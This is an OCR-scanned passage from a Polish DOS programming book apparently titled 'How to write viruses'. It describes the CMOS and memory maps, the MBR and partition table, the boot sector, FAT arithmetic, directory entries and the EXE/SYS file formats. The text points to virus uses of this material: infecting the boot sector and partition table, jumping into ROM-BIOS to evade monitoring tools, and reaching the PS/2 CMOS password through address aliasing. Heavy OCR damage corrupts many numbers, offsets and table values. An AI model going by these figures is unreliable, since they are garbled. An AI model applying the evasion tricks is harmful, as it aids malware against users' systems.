11) 885 | 5 OHiftH 855 | 37M

12! 885 | 7 OffitH 855 | 52M

13 306 | & 128 J19 21M

14 733 | 7 QftttH 733 44M

15 | _zarezenyvowany, nie uywal

1bh-2dh zarezenvowane

2¢h suma kontrolna komérek 10H do 20H CMOS {gémy baft)

Zth sumag koniroina kemérek 10H do 20H CMOS (dokny bait)

30k Famigé rozszerzona ponad iMB {dolny bajt} (W KiloBajtach. 0-3c00H)

3h Famigd rozszerzona ponad TMB (gorny bajt). Patrz funkcja B8h przerwania 15h

3%h wiek w BCD {np, 21H)

33h r0zne informacje. Bit 7=1BM 128KB. Bit 6-uzywany przez ,Setup”

Mh-3th wolne, W tym misjscu mozesz sig podpisad, aby nadad swojemu AT-ekowi jakas ceche

charaklerystyczng lylke dla niego. W komputerach typu PS-2 w komdrkach 38M — 3FH
Znajduje sie hasto.Nie da si¢ go w sposch hezpodrednt odezytad ani zmodyfikowad. MoZna
jednak komputer oszukad i adresowad 78H — 7FH. Poniewaz adresy CMOS sg brane mo-
dulo 64 (40H}, wige beds one wskazywac na hasto.

14. Mapa pamieci

Za chwilg zapoznasz sig z mapa pamieci komputera klasy 1BM . Jak widzisz ostatni adres to FFFF;FFFFh. Na mapie jest
wiec pokazany 1MB pamigci. W tym momencie na pewno zadasz pytanie. No dobrze, ale w moim komputerze, gdy wydwietlg
fozmiar dostepne] pamieci otrzymuje wartosc 840 KB. Masz racjg, z punktu widzenia programisty tylko pienvsze 640 KB
nadaje sig do uzytku.

Pozostate fo pamiec ekranu{128 KB) i pamieé ROM (256 KB). Pamigé ekranu zawiera dane do wyswietlenia. W trybie
tekstowym sg to kody i atrybuty znakéw. W trybie graficznym, bajty odpowiadajace zapalonym punktom. Zapisanie czego-
kohwiek do tej pomieci powoduje natychmiastowe pojawienie sie efektdw tego na ekranie.

Jak pawnie wiesz pamied ROM sfuzy tylke do odczytu. Znajdujg sie w niej procedury obsiugi przerwan, procedury cbstugi
urzgdzeri datgczonych do phyty gldwnej (dysk twardy, Karta EGA itd). Jest tam rdwniez kod, kidry wykonuje sig automatycznie

:'_ na poczatku pracy kemputera. Procedury te nosza nazwe BIOS {Basic Input Output System - Zbidr podstawowych procedur

wejscia/ wyjécia). Jest to wiasciwie jadro catego sytemu.
E Cdy powstawal plerwszy komputer osobisty IBM, firma fa nie zglosita w urzedzie patentowym 2adne] czesci maszyny
E - whasnle paza BIOS-em. Dlatego w kazdym klonie moze byc inna, dostarczana przez producentow sprzetu, wersjaBHOS-u.

3 Abynie zapanowat batagan wymyslono, iz odwolania do niego beda odbywaly sig tylko poprzez przerwania, a nie przez
& bazpodrednie adresy. W praktyce jednak wigkszosé producentdw dba aby byla zachowana zgodnosé nie tylko funkeyjna,
& o adresowa. Umoziiwia to niekddrym wirusom skoki wprost do procedur w ROM-BIOS-ie. Taki wirus jest praktycznie
& newvkrywalny przez standardowe programy typu FLUSHCT chronigee przed zarazeniem.

Adres Nazwa / Opis.

0000:0000 Tablica wektordw przerwar: 256 4-bajtowych adresow. Adresy sg
pamigtane w kolejnosci offset,segment. Poprzez zmiane tych wektordw
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0040:6080
0000000

X00000
X00G0000
X0 0000

Xxx: 0000

xor:0000
X0 0000

ani0:0000
h000:0000

h&00:0000
¢800:0000 do e(000

€000:0000 do e000:Hif
1600:0000

1200:0000 do fHi:Hif
Powyze|

Jak pisac wirusy

mozesz instalowad swoje wlasne procedury obshugi przerwari. Nie
zmieniaj jednak w swoich programach tych wartosci wprost, tyio stosuj
do tego celu funkeje 35h przerwania 21h, Wiedy DOS bedzie wiedzial,
iz Twdj program obshiguje przerwanie. Inaczej mo?e do réznych nie-
przewidzianych sytuacji, nawet do zawieszenia sig systemu. Oczywis-
cie wiekszos¢ wirusdw nie stosuje sie do tej zasady sy one bowiem
napisane w taki sposéb, by maksymalnie dugo maskowac swojg cbe-
cnodd w systemie.

Zmienne systemowe. Palrz opis w rozdziale pigtym.

Czesé BIOS-u dostarczana ze zbieru 10.SYS, kidry znajdujg sig na
dysku uruchamiajacym system.

Procedury obslugi przerwari DOSa. Migdzy innymi przerwania 21h.
Wezytywane ze zbioru MSDOS.5YS,

Obszar zarezerwowany przez DOS: bufory, dane oraz zainstalowans
procedury obstugi urzadzesi zewnetrznych.

Rezycenina czedé procesora komend  COMMAND.COM ckelo 4KB

" diugosci. Zawiera procedury obslugi przerwar 22h 23h 24h.

Programy typu TSR (Terminate & Stay Resident - zakorcz pracg
i zostarh w pamigci). Dzialanie takich programow skiada sig z trzech
czgsci.

1. Uruchomienie wiasciwego programu, kidry koriczy dzialanie pozo-
stajgc w pamieci.

2. Sprawdzanie, czy zostat spelniony zostat jaki§ warunek jego wywo-
lania. Np. czy zostala nacisnigta jakas kembinacja klawiszy.

3. Czesé wiasciwa, wykonujaca rézne czynnosci ustugowe, Przykia-
dem TSR-a jest znany program SideKick,

Aktualnie wykonujgcy sig program.

Przenc$na czg$é COMMAND.COM. Zawiera procesor poleceri. Dzig-
ki nigj widzisz napis C: i moZesz wpisywac polecenia systemu opera-
cyineqo.

Pamigc karly EGA/VGA.

Pamie¢ obrazu karty monochromalycznej. RownieZ karty niestandardo-
wej Hercules.

Pamigé obrazu CGA. Réwniez druga strona pamigei karty Hercules.
Rozszerzenia BIOS-u zawieraigee sterowniki dysky twardego, czy EGA-
BIOS lub VGA-BIOS. -

Czesc BIOS-u dotyczaca komputerow Kasy AT.

Interpreter BASIC-a.

ROM-BIOS.

Gdma pamigé. Moze sig w niej znajdowad bufor przyspieszigcy prace
dysku iwardego (izw. Cache} lub kod programéw rezydentrych. W DOSie
5.0 obszarten moze byé wykorzystywany zardwne przez system jaki przez
programy takie jak Windows, Czy Microsoft C PDS do wiglozadaniowosd
iub jako pamied ogdinego przemaczenia. Przerwanie 15H pozwala cbsi-
giwied 13 pamigC jako RAM-dysk.
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15. Organizacja dysku

Dysk sformatowany w systemie MS-DOS skfada sig z kilku czgsci:
+ Blok tadujgcy (boot sektor) § zarezerwowane sektary
s Tablica FAT
» Kopia{e) tablicy FAT
*  Katalog ghdwny
v Obszar danych (Zawierajacy m.in. pliki odpowiadajace pod-katalogom)
Dysk twardy mode by podzielony na kitka dyskaw Ingicznych, dlatego na zerowej Sciezee tego dysku umisszozane sq

informacje o podziate na strefy(partycie}. Strukiura ta nosi nazwatablicy partycji. Kazda ze stref jest zorganizowana w sposéb
opisany powyzej.

Wiej c2edci ksigzki znajduja sig informacie o strukiurze kazdef z tych czesal. Zwrdé szczegding uwage na ablice partyGii
I blok fadujacy, bowiem do nich moga sig kopiowaé wirusy, a w czasie startu komputera, instalowac w systemie.

Opréez fizycznego podzialu na $ciezki, sektory, glowice(strony) dyskietka lub strefa na dysku jest podzielona na sektory

logleane. Sekiory te sg uporzadkowane w nastgpujace] kolejnogci:
dcleika 0 giowica 0 seldor 1 ; Sciezka O glowica 0 sektor 2 ; ...
$ciazka 0 glowica 1 sekior 1 ; $ciezka 0 glowica 1 sektor 2; ...

$ciezka 1 glowica 0 seklor 1 ; dciezka 1 glowica 1 seidor 2 ; ...

Numer sektora logicznego, wylicza sie wigc wedtug wzory:
{fnumer sciezki)*(liczba grawic)+numer glowicy) * (ficzba sekiordw na dciezce ) + numer seklora na Scictee.

Tablica partycji dysku twardego

Piarwszy sektor dysku twardego (Sciezka 0, glowica 0, sektor 1) zawiera Gidwny Blok Ladujacy (Master Boot Record),
Ky podczas startu systemu jest tadowany pod adres 0:7C00 { wykonywany. Ostatnia czeéé tego bloku zawiera tablice
partycii. Jest fo 4-pozycyina struktura (kazda pozycja 16 bajtdw), zawierajgca informacje o podziale dysku na strefy.
¥ systemach do DOSa 4.0 podziat na strefy byt jedyng metoda chstugi dyskéw powyzej 32 MB. W nowszych wersjach
prakiycznie kardy dysk moZe mieé tylko jedng strefe, ale mozliwesé podziatu jest w dalszym ciggu zachowana.

- Gowny Blok tadujacy dysku twardego ma nastgpujgea strukture:

(ifset Rozmiar Zawartoéc

+0 1REH Instrukeje odozytujace informacie o partyciach, wezyiujace blok tadujacy aktywnej
' partycji | oddajace mu sterowanie

+1BEH 10H opis partydji #1
+1CEH 10H opis partycji #2

+1DEH 10H « | opis partycji #3
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Ofiset Rozmiar - Zawarlosé
+1EEH 10H opis partycji #4
+1FEH 2 symbol korica tablicy partycji (JAAS5H)

Opis partyciji ma nastepujgea postac:

Offs Rozmiar | Zawarlosé

Znacznik aktywnosci partycji (0=nie aktywna; 80H = aktywna). Aklywna partycja to ta,
0 1 2 kidref wezytuje sie system operacyjny. Teorstycznie na dysku twardym moze byc
* kilka aktywnych partycji, w prakiyce jednak system jest wezytywany tylko z pierwszej
z nich
+1 1 Numer glowicy poczatku panycii.
2 2 Numer dcie2ki i sektora poczatku partygji 10 bitéw numer sciezki t 8 bitdw numer

sektora (patrz opis funkeji 02 przerwania 13H).

+4 1 Kod systemu O=nieznany; 1=DOS 12-bitowy FAT, 4=DOS 16-bitowy FAT,

S=Rozszerzona partycja,
+5 1 Numer glowicy korica partyci.
+6 2 Numer scie 2-1-<IE -i ;é-}-ctora konca panyc. o
+8 4 g;éﬂﬁjr'piemszego sektora relatywnego partycji {sektor logiczny Eicz;:r;w od poczatku
+0cH 4 Rozmiar partycji w sektorach. -
+10H Poczatek opisu nastepnej partycji {lub OAAESH jeshi koniac).

W ezasir starhi systemu po przekazaniu sterowania do blokitadujgcego aktywnej partycji opis te] partycii jest wskazywany
przaz parg rejestréw DS.DI

Blok tadujacy

Pierwszy sektor dyskietki lub partycii dysku iwardego zawiera Blok tadujacy W czasie startu systemu blok ten jest
wezytywany pod adres 0:7C00 | wykonywany. Blok ten powinien mie¢ format taki iak ponize]:
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QOtts Rozmiar  Zawartodé
+0 3 JMPnr_| nop ” instrukeja skoku do kodu
+3 8 L | B | 'M ‘5| | 0| Nazwainumer OEM
+0bH 2 RozmSek | Bajty na sektor <start bloku BPB
+0dH 1 | RozmJP | Liczba sekionow w jednostce przydziafu
+0eH 2 Sek Zar | Liczba zarezerwowanych sekiordw (réwniez start FAT)
+10H 1 FAT Liczba tablic FAT
+11H 2 | GiKat Liczba pozycii w giownym katalogu
+13H 2 Sum Sek | Ogdlna liczba sektordw na dysku (paitycii}
+15H 1 ID Identyfikator typu dysku {patrz nizej)
+16H 2 Roz FAT | Liczba sektordw tablicy FAT <koniec bloku BPB
+18H 2 c/sekt Liczba sektoréw na sciezce
+1aH 2 #Gtowic | Liczba otowic {stron) dysku
+15H 2 Ukr Sek | Liczba ukrytych sektarow {dla innych systemow)
1eH W wersjach systemu powyzej 4.0 znajduje sig tutaj numer dysku, sygnatura bloku tadujacego,
numer seryjny dysku, etykieta dysku, identyfikator typu FAT
fn Start kodu wezytujacego system z dyskietk.

Standardowe dyski w systemie MS-DOS majg nastepuigce identyfikatory:

Rozmiar 8 8 525" | 525" | 525" | 525" | 525" | 35 | Slayy
Identyflkator FE FD FF FE FD F3 F9 F8
liczba Sciezek |7 7 | 40 40 40 80 80 614
liczba sektordw na Sciezce 26 28 8 8 9 15 9 17
Liczba sektoréw w bloku i
orzydalaty 4 4 2 | 1 2 2 4
Liczba sektordw
zarezerwowanych 1 _ 4 i ) 1 1 L ! 1
Liczha tablic FAT 2 ? 2 2 2 2 2 2
Liczba pozycji w gtéwnym
katalog 68 68 " 12 64 112 224 112 512
Liczba sektoréw 2002 _?_002 640 320 720 2400 | 1140 | 41752
Rozmiar FAT (w seklorach) B g8 | 1 1 2 7 3 41
kiczha glowic N 1 1 2 | 2 4
Liczba seklorbw ukrytych 0 0 0 0 0 0 0 0
Liczba bitow w pozycji FAT 12 12 12 12 12 12 12 12 16

Tablica FAT

FAT {File Allocation Tahle —tablicarozmieszezenia plikow) jest to strukiura oxreslajaea, ki6re jednostki przydziatu {cluster-y)
53 przyporzadkowane plikom. Jedna pozycja tabeli FAT odpowiada jedne] jednostce przydziatu. Jednostki przydziat, na
kidrych zapisany jest piik sa pamigtare w faricuchu tzn, w opisie pliku (p. gidwny katalog) znajduje sig wskaznik do pierwszej
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pozyc]i w tabeli FAT oopowiadajgeej plikows, ktdra z kolei wskazuje na numer nastepnej pozycji odpowiadajacej plikowi, ta
na nastgpng, itd. az do symbolu korica plike.

W tablicy FAT moga znzjdowad sig nastepujace wartodei:

{Q}00H Jednostka przydziaty nie wykerzystana preez zaden plik,
{(FFOH = (F)FFGH Jadnoclka praydish caresenwowana dla systemu np, biok ladujqcy, kataleg gidwny itd. |
(FAFETH Jednostka przydziatu uszkodzona
(F)FF8H - (FIFFFH Kaniec pliku {ostalnia jednostka przydziaty w tapcuchu)
t_{03002H - (FYFEFH astepnej je i ig

Zwrot uwage, na to, i2 pierwsza cyfra jest zapisana w nawiasach. Wigze sig to z fakiem, iz istniejg dwa rodzaje tablic FAT
12-hitowa (zwykle dla dyskietek) i t6-bitowa (zwykle dla dysku twardege). Oczywidcie dla pierwszej z nich warteddi s
Jcylrowe (bez cyfry w nawiasach), & dia drugiej 4-cyfrowe. Informacie o rodzaju tablicy FAT mozna odczylaé odczylad
2 identyfikatora typu dysku, znajdujgcego sie w bloku fadujacym.

Na rysunku ponizej przedstawiony jest schemal odczytywania informacj z tablicy FAT

Numer pienwszej jednostki przydzialu

Pozycja w
katelogu PIR|Z|Y[K|{L|A[{O|X|T|A| zaezerwowane | czs |dat| | rozm

Tablica FAT
D0 01 02 03 04 05 08 O7

8

OA 0B OC ¢D OE OF
Q0|1 | |FF| IFF| |FF| |FF| |FF| J0O| |0O] |00} QA OB—15} |F7} |0E! [OF]| [10

10014 2] |FF j00( (00| (16117 19| [F7} |tAFT1BFF) (00| |00 |00] |00

I

Zhiér PRZYKLAD.TXT zajmuje 9 jednostek przydziatu, Poczatek pliku znajduje sig w jednosice #09H, koniec w jednosics
¥ 1BH. Laricuch alokacji dia tego pliku wyalada nastepujgco: 09,0A,0B,15,16,17,19,1A,1B. Ostatnia pozycja w tarcuchu jest
odpowiednio zaznaczona w tablicy FAT.

Jednostki 1-5 9g zarezerwowane przez system.

Jednostki 06-08,13, 14,0C-0F nie s3 przydzieione zadnemu plikowi.

Fragment innego farfcucha zaczyna sig w jednostce przydzialu #0D i koriczy w jednostes #12. Ta ostania jednostka jest
koricowg w pliku.

Jednastki 0C i 18 sq zaznaczone jako uszkodzene i nie moga zostaé przydzielone 2adnemu phkow.

Pierwsza pozycja w tabeli FAT jest to identyfikator typu dysku. Taki sam, jaki znajdujg sie w bloku tadujacym.

Adresie tablicy FAT znajduje sig w bloku tadujacym dysku, (oifset 0EH)

Zwykle pierwsza kopia FAT znajduje sig w sektorza #1.

Informacje zapisane w tablicy FAT sg bardzo istotne dla systemu. Przypadkowa ich ulrata moze spowodowad utrate
wszystkich danych na dysku. Z fego powodu zazwyczaj istnieja co najmnie; dwie kopie tej labeli umieszczane bezposrednio
po sobie. Liczha kopii FAT jest pamigtana w bloku tadujacym dysku pod adresem O8H.

‘Odozytywanie informacii z 16-bitowe] tabiicy FAT jest dosé proste. Jednej jednostee prydziatu cdpowiada 1 slowo, wige
intormacie o n-tej jednostce przydzialu znajdujg sig pod adresem (poczatek FAT + 2'n). Gorsza sprawa z tablicg 12-bitowa,
Aby odczytad informacie z takiej tablicy musisz postepowad wedhug ponizszego algorytmu:
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* PomndZzn przez 3
»  Podziel wynik przez 2 (kazda pozycja w FAT ma 3/2 bajta)
+  Qdczytaj stowo 0 powyzszym adresie (ficzonym wzgledem poczatku FAT)
» dlan parzystego pomnoz logicznie wynik przez OFFFH {12 dolnych bitdw}
= dla nnieparzystego przesur wynik o 4 bajty w prawo (12 gérych bitdw)
Zamigna numeru jednostki przydziatu na numer sektora dysku jest jeszcze bardziej skomplikowana.

»  Odezytaj informacie o rozmiarze sektora, liczbie sekicrdw tablicy FAT, liczbie tablic FAT, liczble pozycii w kata-
legu gtdwnym dysku, liczbie zarezerwowanych sekiorow, liczbie sektoréw na jednostke przydzialu, liczbie sekto-
réw na sciezce, iczbie glowic, Dane te znajduig sig w BPB w bloku tadujacym dysku. {MoZesz do tego celu wy-
korzystaé prrerwanie 26H z parametrem DX=0).

+  Przypomnij sobie organizacjg danych na dysku:

— blok tadujacy
— tablica(e) FAT
-~ katalog gtowny
— obszar danych
Liczha sektoréw w katalogu = {Liczba pozycji w katalogu gidwnym * 32) / {rozmiar sekiora)
giéwnym
Liczba sektordw tablic FAT = ({Liczba tablic FAT) * {liczba seklordw tablicy FAT)
Poczatek obszaru danych = Liczba sektorow zarezerwowanych + Liczba sekiordw tablicy FAT +
Liczba sekioréw w katalogu gidwnym
Numer sektora logicznego = Poczatek obszarudanych + ({(Numer jednostki przydziatu - 2) * Liczba
sektordw na jednostke przydziaiu))
Numer sekiora (na sciezce) = {Numer sektora iogicznego} mod (Liczba sekicrow na sciezce )
Absolutny numer scieikl = (Numer sektora logicznego) div {Liczba sektordw na sciezce)
Numer glowley = {Absulutny numer sciezki) mod {Liczba glowic}
Numer §cieki = {Absolutny numer sciezki) div (Liczba glowic)

Cperacja div jest to dzielenie catkowite, mod to reszta z dzielenia.
Przykladowo 81 div4 =20, 81 mod 4 = 1.
W tym momencie pewnie przecierasz pot z czota, albo mysiisz o wyrzucenia ksiazki na makulaturg. Na szczgscie istnieje

sposth osiggnigeia tych informacji bez tak karkolomnych obliczen. Mozesz wykorzysta¢ nieudokumentowang funkejg
systemowg 32H, kidra zwraca pakiet informacii, m.in. numer pigrwszego sektora 2 danymi.

Glowny katalog

72 teblicami FAT na dysku znajduje sig gfowny katalog. Standardowo skfada sig z 64 pozycji. MoZe by6 ich wigce|
w 2aleznosci od fypu dyskistki (np. dla dyskietek typu 25HD liczba ta wynosi 224). Pozostale katalogi znajdujg sig
wrdznych miejscach i moga mie¢ dowolny rozmiar. Z punktu widzenia systemu sa one traklowane lak jak zwykte pliki,
zustawionym atrybutem katalog. Jedna pozycja w katalogu skiada sig z 32 bajtow i ma nastgpujgeq strukturg:
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Offs

+)
+3
+0BH

+16H
+18H

+1aH

+1¢cH

Rozmiar _Informacja
g8 N [wlz[w][w]" | Nazwa plku w ASCI
3 " |0 |2 J ' Rozszerzenie plike w ASCI
1 ATR Atrybuty pliku
QAH Zarszerwowane |
2 Czas Czas zatozenia lub ostatnie] modyfikacji pliku
2 Data Data zafozenia lub ostatniej modyfikacji pliku
2 Pierwsz Ngmer pierwszej jednostii przydziatu (cluster-a) pliky. (Wskaznk  de
Cluster tablicy FAT)
4 Rozmiar pliku f Razmiar w bajtach

Czas | data zatozenia pliku sg podawane w nastepujacym formacie:
(W nawiasach padane maski dia poszezegdinych danych)

Czas;

FEDGCDB A 8§ 8

7 6 b 4 3 2 1 4

godzina

minuta

seof?

|

|

LT LT ]

Data:

F EDGCDBAU 9 8 7 6 5 4 3 2 10

fok

miesige

L

|

16. Pliki

Atrybuty Pliku

sekunda /2
minuta
godzina

dziar
miesiga
rok liczany

(% C01FK)
{& OTEOH)
(8 FBOOH)

(& 001FH)
(& 01EQH)
od 1980 (& FBOOH)

W opisie pliku w katalogu jednen bajt zajmujg atrybuty. Jest to sze4¢ jedno-bitowych znacznikow okresfajacych status pliku.
PoniZej znajduje sig opis znaczenia poszczegdinych atrybutdw. Korzystajac z niego powinienes pamietad, 7e zardwno
pad-katalogi jak i etykieta dysku jest pamigtana jako plik i system odréznia je tylko dzigki odpowiedniemu ustawteniu

atrybuidw.
Bit Znaczenie
0 Read Only ~ Plik z ustawionym tym afrybutem nie mo¥e by¢ zmieniany lub kasowany,
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Bit Znaczenie

1 Hidden - Plik ukryty. Polecenie DIR nie wyswietla informac]i o tym pliku.

2 Syslem - Plik systemowy. Polecenie DIR nie wySwietla informacii o tym pliku.

3 Volume ID ~ Etykieta dysku. Tylko jeden plik w gidwnym katalogu dysku moze mied ustawicny ten atrybut.

4 Birectory — Katalog.

5 Archive - Plik archiwizowany. Atrybut ustawiany po kazdej zmianie zawartodci pliku, natomiast zerowny
przez polecenie archiwizawania pliku {BACKUP)

7 8 86 4 3 2 10
TalvLs[nlr

i L 0: 1=Read-onty (Tylko do odezyiu) (atr & O1H}
L 1z 1=Hidden {Uknyty} {alr & 02H)
2: 1=8ystam [Syslemowy) (atr & 04H)

e 3 1=Vglume 1D (Etykieta dysku) {gtr & CBH)
4: 1=Directory {Katalog) fatr & 10H)
5: Archive (Archiwizowany) (atr & 20H)

Jednym Z nieporozumien zwigzanych z atrybutami pliku, jest dosé rozpowszechnione mniemanie, iz nic moina ukryé
pod-kataiogu. Jest to zwigzane z tym, iZ system operacyjny | programy typu Norton Commander, czy XTREE nie pozwalajg
na zmiang atrybutdw pod-katalogu. Wystarczy jednak za pomoca Norton Utlities lub PC TOOLS oaczytad abszar katalogu
nadrzednego, w pazycji odpowiadajace; atrybutom pod-katalogu ustawic odpowiedni bit i podkataleg nie bedzie wyswietlany
przy wypisywaniu zawarlosci katalogu nadrzgdngo.

Budowa pliku typu COM

Pliki typu COM s to pliki zawierajace programy w postaci absolutnej. Program taki musi miescic sig w jednym segmencie
pamieci. Ponadto przyjmuje sig, iz jest zawsze wykonywany od adresu o takim samym offsecie (100H). Plik wigc nie zawiera
#adnych innych informacii poza samym programen.

Budowa pliku typu EXE

Z plikami typu EXE sprawa jest juz bardziej skomplikowana. Zawlerajg one programy w postaci przemieszezaine] i muszg
byé poprzedzone naglowkiem okreslajacym punkt startu programu i wartosci przemieszezenl. Typowy plik z programem
w postaci przemieszezalne] skiada sig z nastgpujacych czgsci:

Offs Rozmiar Zawartosé
0 2 4DH 5AH — Symbal pliku typu .EXE {MZ')
+2 2 Dlugosé ostatnigj strony (najczescie] nieistotna)
+4 2 Dlugosc programu razem 2 nagtowkiem w stronach (512-bajtéw)
+8 2 { iczba elementdw w tablicy przemieszczen
8 2 Rozmiar nagtéwka w paragrafach (16-bajtow)
0AH 2 Minimalna pamigé potrzebna ponad program (w paragrafach)
+ICH 2 Maksymalna pamigé potrzebna ponad program {w paragrafach)
+0EH 2 Przesunigcie segmentu SS (do ustalania SS na poczatku procesu)
+10H 2 Wartosé rejestru SP na poczatku procesu
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Offs Rozmiar Zawartosé

+12H 2 Suma ¥ontrolna pliku - z tega pola moga korzystac programy sprawdzajace, czy
zawarto$é pliku nie zostata zmieniona przez wirusa. Jest 1o po prestu negatywna
suma wazystkich bajtéw pliku,

+14H 2 Wartosc rejestru IP (wskaZnika instrukcji) na poczatku procesu
+16H 2 Przesunigcie segmeniu CS {do ustalania CS na poczatku procesu)
+18H 2 Poczatek tablicy przemieszczer (¢zesto 01CH)

+1AH 2 Numer nakfadki {0 dla modutu bazowego)

+1cH Inne informacje - przykfadowo cbszar ten wykorzystuje MS-WINDOWS do
pamigtania ikon zwigzanych z programem

[18H] 4*[6H] offset |segment | ... offset | segment | Tablica przemieszczenr
? ? Wypetnienie zerami do korica paragratu
? ? Poczgtek obrazu programu

Pedczas urichamiania procesu zwigzanego z programem w postaci absolutnej, system okresia poczatkowy segment
pamiegi, od ktdrego wezytywany bedzie cbraz programu. Wszystkie adresy segmetdw w programie sg wzgledne wobec
segmentu poczatkowego. Przyktadowo jesli przemieszczenie SS [0EH] wynosi 05, & segment poczatkowy 6000H, to
poczatkowa warlosd rejestru SS bedzie wynosic 6005H. Ponadto do wszystkich migjsc programu wskazywanych przez
tablicg przemieszczeri bedzie dodana warto$t segmentu poczatkowego. W tym samym przykiadzie, jesli w tablicy przemie-
szczed znajduje sig adres 0003:001 1H, a w pamigci pod adresern 6003:001 1H (8000+0003:001 1 H) wartoéé 20H, to zostanie
ona 2mieniona, na 6020H (6000H+20H). W ten sposéb w programie moga by¢ pamiglane tylko wzgledne adresy innych
segmentdw, kidre przed kazdym wywolzaniem s3 odpowietnio modyfikowane.

Taki sam format majg pliki z naktadkami. Majg cne zwykle rozszerzenie OV?, chociaz nie jest to 100-procentows reguiy.
Roinig slg one od plikdw 2 programami w postaci przemieszczalne] tym, 7e nie mogg, byé uruchomione przez uiytkownika,
a tylko z wnetrza jakiego$ innego programu.

Budowa pliku typu SYS - fadowaine programy obstugi urzadzen

Systern MS DOS przewiduje mozliwosé detaczania dodatkewych urzadzeri do komputera. Urzadzenia te mogg byé
dwojakiego rodzaju: blokowe { znakows. Urzgdzenia blokowe, takie jak partycia dysku twardego, czy RAM-dysk operuja na
plikach i moina je trakiowad jako dedatkowe napgdy w systemie (réwniez nazwy przypisane urzadzeniom blokowym, tak
Jak w przypadku dyskdw sq literami zdwukropkiem). Jadno urzadzenie blokowe moze sidadaé sig Z kilku jednostek, z ktérych
kaddej jest przyporzadkowana osobna nazwa.

Urzadzenia znakowe s4 przeznaczone do kamunikaii z urzadzeniami zewngtrznymi, zarswno standardowym, takimi jak konsola,
drukarka, modem jak i niestandardowymi, na przyklad ze skanerem. -

Plki x programami obstugl urzqeizen moga 2awierad po kilka programdw.

Pezykladem jest standardowy plik [0.5YS tadowany na poczatku pracy systemu, zawierajacy programy obstugi urzadzeri
standardowych, takich jak COM:, NUL:, czy GON:. Zazwyczaj programy obstugi innych urzadzen zngjdujg sie w plikach
Z rozszaerzeniem SYS i sq instalowane przy pomocy polecenia DEVICE = w zbiorze CONFIG.SYS, Kazdy program obstugi
musi by¢ poprredzony nagtdwkiem w nastepujgcej postaci:

Offs Rozmiar | Zawartosé
Adres kolejnego programu obstugi w danym pliku. Jesli fen program obslugi jest ostatnim fub

0 4 jedynym w pliku, o pole to jost ustawiane na —1. Zazwyczaj przy pisaniu riestandardowych
plr_igramdw obstugr urzadzeri przyjmuje sig zasade, Ze jeden program znajduje sie w jednym
pliku. _

+4 2 Atrybuty urzadzenia, W zaleznoci od typu urzadzenia atrybuty maja nastepuiges znaczenie:
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Urzadzenia znakowe
Bit Warl, Znaczenie
0 i Urzadzenie jest konsola wejsciows (ST
1 1 Urzadzenie jest konsola wyisciowa (STO)
2 1 Urzadzenie jest ,czamg dzivra” {NUL)
3 1 Urzgdzenie jest zegarem (CLOCK)
4-5 Zanezerwowang
G 1 Obsluguje polecenia wersji 3.20 | wyzszych
7-10 Zarezerwowane
H 1 Obstuguje polecenia olwarcia/zamknigcia
12 Zarezerwowane
13 1 Obstuguie polecenie 186 zlisty polecen (Zapis dopdki zajete)
14 1 Obstuga funkeiji IDCTL
15 1 Urzgdzenie znakowe
Urzadzenia blokowe:
Bit Wart, Znaczenie
0-5 Zatezerwowane
] 1 Obstuguje polecenia wersii 3.20 i wyzszych
7-10 Zarezernowane
" 1 Qbstuguje polecenia otwarcia/zamknigcia
12 Zarezerwowane
13 1 Korzystanie z metryczki w bloku tadujgeym
14 1 Obsluga funkeji IOCTL
15 0 Urzadzenie blokowe
+6 2 Adrss punkiu zglaszania zlecenr
+8 2 Adres punkiu obshugi przerwar
+0AH 8 Nazwa urzgdzenia znakowego b liczba jednostek urzadzenia blokewego

Odwolywanie sig do programéw obstugi urzadzer odbywa si przy pomocy pakietéw zlecer. Pakiet taki moze mied rdzng
dlugosd, w zaleznosei od polecenia, kidrego dotyczy. Kazde z polecer moze wymagacé réznych paramatrdw. Qgdina postad
pakdetu zlecenia jest nastepujaca;

Offts | Rozmiar | Zawartosd
+0) i Diugosé pakietu
+ 1 Numer jednestki, ktdre] dotyczy zlecenie {dla urzadzer blokowych)
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+2 1 Kod polecenia
Kod Funkcja
0 Inicjacia
1 Sprawdzenis nosnika (tylko urzadzenia blokowe)
2 Budowanie metryczki {BPB - Bios Parameter Block) (tylko urzadzenia bickowe)
3 Odezyt IOCTL {tylko urzadzenia posiadajgce ICCTL)
4 Odezyt
5 Odezyt bez czekania {tylko urzadzenia znakowe)
g Odezyt statusy (tylko urzadzenia znakows)
7 Oderyt 2 czyszezeniem bufora {tyiko urzadzenia znakowe,)
8 Zapis
9 Zapis z weryfikacjg
10 Zapis statusu {tylko urzadzenia znakowe)
1 Zapis z wyczyszezeniem bufora (tylko urzadzenia znakowe)
12 Zapis IOCTL (tylko urzadzenia posiadajgce IOCTL)
12 Otwarcie urzadzania (lylko urzadzenia majgee ustawiony 11 bit atrybutdw
Z nagtéwka)
14 Zamknigeie Urzadzenia (tylko urzgdzenia majace ustawiony *1 bit alrybutdw
Z nagiowka}
15 Urzgdzenia 2 moziiwoéc[iwymiany nosnika {tylko urzadzenia majgce ustawiony
11 hit alrybuldw ¢ nagiowka)
18 Zapis dopdki zajete {tylko urzadzenia znakowe majace ustawiony 13 bit
atrybutéw z naglowka)
19 Qgéina operacia I0CTL (tyiko urzadzenia bickowe majace ustawiony bit 0
atrybutdw z naglowka)
23 Pobranie mapy napedu (tylko urzadzenia blokowe majgee ustawiony 11 bit
atrybutdw z nagtowkay)
04 Ustawienie mapy napedu (tylko urzadzenia blokowe majgce ustawiony 11 bit
atrybutow z nagtowka)
Status. Do bitdw 0-7 jest wpisywana wartosé biedu po zakericzeniu wykonywania polecenia.
+3 2 Ustawienie bitu 15 oznacza wystapienie btedu. Bit 9 oznacza, Ze trwa wykonywanie

polecenia, a bit 8, Ze polecenie zostato zakoAczone.
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Btad Znaczenie bedu

0 Préba zapisu na nasniku chronionym fizycznie przed zapisem
1 1 Odwolanie do nieistnigjace] jednostki

2 Urzgdzenie nisgotowe
l‘l 3 Nieznane polecenie -

4 Btad CAC

5 Bredna dtugosé lub struktura pakietu zlecenia

B Btad przeszukiwania

7 Nieznany nosnik
8 Niaznaleziony sekior
9 Brak papieru w drukarce

10 Btad zapisu

11 Btad odezytu

12 Ogdiny bigd operac)i wejsciafwy]scia

13 Zarezerwowane
14 Zarezerwowane
15 Nigprawidtowa zmiana nosnika
+5 8 Zarezerwowane
+00H ? Parametry dla zlecenia

Dokladne oméwienie wszystkich polecen, ich parametrow, bleddw oraz przykladowe programy obstugi urzadzenia
nakoweqo i blokowego znajdyjg sig w [2].

Procesy

